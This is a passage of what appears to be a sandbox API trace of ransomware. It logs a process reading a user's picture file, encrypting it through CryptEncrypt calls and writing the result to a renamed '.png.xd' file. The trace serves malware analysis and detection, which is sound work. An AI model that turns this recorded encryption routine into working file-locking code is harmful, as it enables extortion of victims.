dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0062.794] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.795] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0062.795] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.795] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.795] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.795] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb")) returned 0x10 [0062.795] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb\\3ug1wvccea1mpgie.png.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0062.796] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.796] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.796] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.796] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.798] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0062.798] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0062.800] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x7917, lpOverlapped=0x0) returned 1 [0062.801] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0062.807] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.807] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.807] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.807] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0062.809] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.810] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.810] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0062.810] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.810] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0062.810] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.810] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.810] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.810] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0062.810] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0062.810] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0062.810] CryptGetKeyParam (in: hKey=0x164c4f0, dwParam=0x7, pbData=0x16294b0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294b0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0062.811] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.811] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.811] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.811] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.811] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.811] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.811] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.811] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.811] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.811] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.811] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.811] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.811] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.811] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.811] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.811] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.811] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.811] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.811] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.812] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.812] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.812] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.812] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.812] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.813] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.813] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.813] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x17917, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x17920) returned 1 [0062.813] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.813] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.813] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.813] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.813] CharLowerBuffW (in: lpsz="byte[96545]", cchLength=0xb | out: lpsz="byte[96545]") returned 0xb [0062.814] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.816] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.817] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.817] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.822] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621990, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.823] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.823] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e8438*, pdwDataLen=0x130e618*=0x17917, dwBufLen=0x17920 | out: pbData=0x17e8438*, pdwDataLen=0x130e618*=0x17920) returned 1 [0062.823] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.823] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.823] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.825] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.825] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.825] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.825] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.825] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.825] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.825] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.825] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.825] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.825] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.825] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.825] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.825] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.832] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.833] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.833] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.833] WriteFile (in: hFile=0x3bc, lpBuffer=0x1894938*, nNumberOfBytesToWrite=0x17920, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1894938*, lpNumberOfBytesWritten=0x130f01c*=0x17920, lpOverlapped=0x0) returned 1 [0062.835] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.835] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.835] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0062.835] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.835] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.835] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0062.836] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16214b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0062.836] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0062.836] CryptDestroyKey (hKey=0x164c4f0) returned 1 [0062.836] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.836] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.836] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.836] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.836] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.836] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.836] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.836] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.836] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.836] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0062.836] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.837] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.837] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.837] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.837] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.837] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.837] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.837] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.837] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.837] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.837] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.837] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.837] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.837] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.837] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.837] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.837] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.837] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.837] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0062.838] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0062.838] CryptReleaseContext (hProv=0x17aa670, dwFlags=0x0) returned 1 [0062.838] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.838] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.838] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.838] FreeLibrary (hLibModule=0x74c60000) returned 1 [0062.838] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.838] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.838] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.838] CloseHandle (hObject=0x2ac) returned 1 [0062.840] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.840] CloseHandle (hObject=0x3bc) returned 1 [0062.848] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.850] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 